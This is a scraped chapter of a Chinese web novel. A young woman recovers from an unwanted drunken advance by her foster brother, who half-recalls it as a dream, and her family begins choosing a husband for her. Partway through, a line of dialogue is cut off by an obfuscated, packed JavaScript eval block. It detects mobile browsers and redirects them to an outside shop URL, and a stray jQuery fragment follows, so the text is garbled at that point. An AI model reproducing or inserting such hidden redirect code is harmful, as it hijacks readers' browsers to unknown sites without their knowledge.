文趣网 > 其他小说 > 不只是兄妹 > 18. 第 18 章
    冒着风雨回到闲月阁,流月一早便备好伞等在廊下,见奚毓带着赵嬷嬷浑身湿透,立即上前迎人。

    让赵嬷嬷下去梳洗,奚毓由流月扶着上楼。

    后怕恐惧后知后觉袭来,想到方才的种种,奚毓只觉心悸,上楼的脚步都带着几分虚浮。

    是被轻薄的屈辱,是信任被辜负的绝望,以及一次次落入被人觊觎着的荒唐境地的悲哀。

    她真的不曾设想过,看似朗若清风的岳渊竟然对她也有那般心思。

    这种感觉,像幼时时常逗弄的那只乖巧小狗,却在一日毫无征兆咬伤了她一般无二。

    怪不得这人对她忽近忽远,是不是觉得她的那些讨好举动都是有意勾引。

    也怪不得他偶尔看向她时神色复杂,戏谑中夹杂着几分期待。

    从前怪她天真,竟以为那是他因为有人关怀而产生的感动之情。

    她却不曾想过,即便生母早逝,与父亲不睦,他岳渊堂堂侯府世子,未来的昌平侯,哪里会缺少旁人的关怀?

    流月察觉到姑娘情绪不对,才想问什么便被奚毓的动作制住话语。

    甫一进屋,奚毓立即察觉到房中味道不对。

    一股淡淡的,不属于她闺阁的香气,带着入侵者的气息。

    后背冰凉入骨,已分不清是雨水还是汗水。

    奚毓清晰地感知到,自己的领地被他人入侵了。

    仿若当初云香随意出入阁中,动用她的东西一般,那种不适感,令奚毓再次如鲠在喉。

    她看向流月,压低声音问:“方才有人来过?”

    流月刚想说只有她一人,转念想到自家姑娘过于灵敏的嗅觉,也察觉不对。

    立即上前开始查看屋中是否少了什么东西。

    直到发现原本整齐的被褥似乎被人轻微动过,流月的额角顿时流下冷汗。

    “姑娘,是奴婢失职。”流月当即跪地请罪。

    奚毓被一件件事闹得心力憔悴,得知屋内并未少什么东西,也知晓估计是底下人的手脚跟云香一般不干净。

    暂且没工夫理会这等小事,她迈步往净室而去。

    待将身子沉入水中,奚毓长长吐出一口浊气。

    将手边案几上用来漱口的茶水用了一壶又一壶,她才觉得那股陌生凌冽的气息消失些许。

    胸前指痕隐现,还泛着微微痛意,奚毓此刻恨不得生啖其肉。

    可偏偏她又不能。

    脑中不受控制地回想起岳渊的不同寻常,奚毓无心关怀他为何会如此。

    只知道,从岳渊那只言片语中,应当以为她入了他的梦。

    而在他的梦中,方才的那种混账事,甚至比之更为过分的行为,他都对她做过。

    奚毓的呼吸骤然困难,一种畏惧恶心之感油然而生。

    连岳华、包知文之流都觉得她配不上他们的正妻之位,更遑论即将走马上任、如日中天的昌平侯府世子。

    她奚毓不会做妾,也不屑做侯府子弟的妻。

    既然岳渊这条道走不通,她便不走了。

    一定要快些嫁到江州,届时天高皇帝远,就算她借着侯府的名义行事,想必也能得到不少便利。

    若是出了事,便走一步看一步吧。

    奚毓恨自己醒悟得太晚,竟在无意中招惹了这么一个混账!

    偏偏坏就坏在,若是岳渊记不清这夜之事,那她也要当做无事发生。

    否则闹开来,吃亏的只有自己。

    甚至就算岳渊记起,她也得装作不知情。

    这个哑巴亏,她似乎不得不吃;这个糊涂人,她也不得不做。

    从水中出来,奚毓来到外间,见流月已经仔仔细细将屋内排查一遍,又重新换了被褥,她才安心睡下,只是这一觉睡得并不安稳。

    梦里,她又回到了那间狭窄的暖阁,岳渊如青面獠牙的恶鬼,死死缠住她不放。

    一遍遍在她耳边低喃着,问她为何不乖?

    她战栗惊惧,却始终逃脱不开。

    接连几日的噩梦,让奚毓彻底厌恶上了岳渊,从前的那些帮助维护,在那夜之后权当两相抵消。

    为了早日回江州,奚毓开始有意无意提醒老夫人岳蓉的婚事近在眼前。

    自然而然地,老夫人和小荣氏便想起要为奚毓择婿。

    当问她有何见解时,奚毓只默默垂泪,说想念远在江州的父母,又不舍抚育她长大的祖母、伯母。

    老夫人最是喜爱重孝道的小辈,闻言,便说若是奚毓想要嫁往江州,她也同意。

    之后几日,趁着恩科将开,老夫人做主,命人将江州的学子打探个遍。

    后择出几人绘制画像,以供奚毓挑选。

    而何珏的画像赫然在列。

    当奚毓见到画上眉眼清隽的小公子时,翻动画像的手指微微一顿。

    *

    不论奚毓那边如何如火如荼,且说岳渊,宿醉之后的他一贯头疼欲裂。

    只是今早似乎格外疼些,尤其是后脑,竟像是被人打了闷棍。

    见沉风总在他面前晃来晃去,岳渊被晃得眼晕。

    瞥一眼被他再次整理整洁的书案,岳渊问:“昨夜我又闹了?”

    他虽酒量不错却也不到千杯不醉的地步。

    因着请封世子一事,朝中同僚以及那三五好友非要他请客喝酒,昨夜便在京城最大的酒楼慧云楼设宴。

    但这种事哪里能少得了庞望那个爱凑热闹的,明面上不行,私下里也非得为他凑上一桌。

    是以昨夜他们三人再次于水阁聚首,痛饮至深夜。

    原先已经快醒的酒,在庞望的一番猛灌之后,再次迷瞪起来。

    连他那一向克制的表弟荣祺都大了舌头。

    他说:“表兄,恭喜,如愿以偿,姑母九泉之下也能安心了。”

    安心么?

    不,他要的不只是母亲安心,而是那人的诚挚忏悔!

    思绪回神,岳渊看向盯着自己欲言又止的沉风,“有话便说。”

    吞吞吐吐像什么样子。

    沉风一激灵,讪讪伸出手,指了指岳渊,察觉不对,又反过来指了指自己的嘴唇。

    岳渊皱眉,顺着他的视线伸手摸向自己的唇,才一触碰,便感到丝丝痛意。

    与此同时,脑中昨夜的荒唐梦境一一在脑中闪现。

    他强势地将人摁在墙上肆意亲吻。

    视线落在整齐的书案上,岳渊仿佛看到了梦中被他欺压其上的姑娘,眼中含泪,又倔强地不愿落下。

    柔软如云的身子在他身下颤抖,令人顷刻血脉贲张。

    一切似乎太过真实,真实得不像是一个梦。

    只因昨夜梦中的她,实在与往日不同,一改乖顺可人,变成一只奓毛的猫儿,时刻亮出锋利的爪子,一副势必要与他两败俱伤的模样。

    “昨夜你可离开过?”岳渊一双凤眼染上深思。

    沉风挺直了背脊,开口道:“属下去取了醒酒汤,来时下雨,被困住了一会儿,不过半刻钟便寻了伞过来。”

    他沉思几息道:“来回不过一刻钟左右,属下并未发现有人来过的痕迹。”

    岳渊才问出那句话,沉风便知公子是怀疑昨夜有人到此。

    可除了被大风吹开的本就未关紧的大门外,其余地方一切正常。

    除了……

    沉风不敢隐瞒,顶着岳渊的冷凝视线,将他昨夜睡倒在地上的事告知,连睡得比平时更早更沉都一一吐露。

    岳渊的手缓缓摸上后脑,语气听不出波澜,却足够让人不寒而栗。

    “照你的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794456|209709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意思,昨夜我应当是自己发酒疯撞到了脑袋,而后昏迷不醒?”

    甚至于,连他刺痛的嘴唇都可能是梦里过于荒唐而自己咬伤了自己。

    听他蓦然呵笑,沉风的脑袋越垂越低,恨不得直接埋于地下。

    这些话可都是公子自己说的。

    虽觉得十分丢脸,但对于沉风的能力,岳渊还是足够信任的。

    听他这么说,也打消了怀疑。

    只是起身时,小腿骨处微微一痛,掀开裤脚一看,小腿上不止一处青紫,有一处严重些的地方,甚至泛着青黑。

    此时岳渊的脸色已经不能用简单的铁青可以形容。

    难道他不仅仅荒唐到在母亲灵位的一墙之隔,于梦中尽情亵渎养妹,甚至于连路都走不稳,跌跌撞撞、冒冒失失撞得满身淤青?

    岳渊啊岳渊,你当真是越来越不知所谓了!

    自恼不过片刻,他正色起身,一甩衣袖冷声道:“吩咐下去,宁归堂和水阁,一年之内不容许滴酒入内。”

    身后的沉风高声应是,却憋笑憋到腹痛。

    *

    不论侯府私下如何暗潮涌动,敕封世子的圣旨如期而至。

    阖府上下,整装齐备,于前院跪迎圣旨。

    伴随着传旨太监宣读圣旨的声音,因需迎旨而出门的宁氏微微侧目看向紧抿唇角的小荣氏。

    心底一声冷笑,当真以为笼络着侯爷迟迟不请封便能成事?也不想想自己儿子才多大!

    此时的宁氏想的很简单,她不舒服,旁人也别想舒服,旁人不痛快了,她便没那么不痛快。

    此时此刻,宁氏的快乐自然建立在小荣氏的不甘之上。

    传旨太监客气地恭贺几句便离开。

    待他一走,府中顿时热闹起来。

    老夫人泪眼朦胧拉着长孙,感慨颇多,便是一向严肃的昌平侯也木着脸对岳渊说了几句软和话。

    岳渊丝毫看不出昨夜的狼狈,也看不出人逢喜事的得意猖狂。

    哪怕方才的秉笔太监如此礼遇,哪怕阖府上下如此恭维,他依旧不骄不躁,似春水般能包容万物,气度卓然、姿态平和。

    昌平侯看着那张与他相似了三分的俊颜,心中的耿耿于怀似乎悄然消失。

    罢了,就这般吧!

    侯府交到这个儿子手上,他放心。

    岳渊当然不知他这位侯爷父亲做出这个决定,是经过怎样的彻夜挣扎。

    此刻的他左右逢源,在叔父叔母向他恭贺时,他谦虚有礼;在弟弟妹妹向他道喜时,他有礼有节,出言谆谆教导。

    一副谦和内敛的模样,哪里还有昨夜失控的癫狂。

    奚毓冷眼看着,只觉此人像是有两幅面孔,虚伪至极。

    直到对上岳渊温和含笑的眼,哪怕奚毓虽极力掩饰,敏锐的男人还是察觉到了她语气中的不自然,以及那丝丝的不情愿。

    岳渊有些好笑,不知这小丫头这几日又怎么了。

    他还没觉得她这人做事容易半途而废,她倒是好像恼上了他。

    “多谢毓姐儿关怀。”岳渊嘴角绽开真诚的弧度,自认为温和耐心道。

    却不知这副模样落在奚毓眼中,宛若披着狼皮的羊。看似无害,可只要稍微靠近,他便会露出獠牙。

    奚毓随口应付几句便想退开,也是这时,岳渊视线一顿,眼神隐晦地落在奚毓的红唇上。

    凤眸几不可查再次流转在隐于人群后的奚毓身上。

    若是他没看错,奚毓唇上似乎也有着细小的伤痕,即便用了脂粉尽力掩盖,细看之下仍有破绽。

    岳渊微微眯眸,昨夜当真只是他醉酒后大梦一场,荒唐一番吗?

    不远处,陈嘉宁安静伫立,看似嘴角含笑与身旁岳蓉交谈,却将那两人的小动作暗暗收入眼中。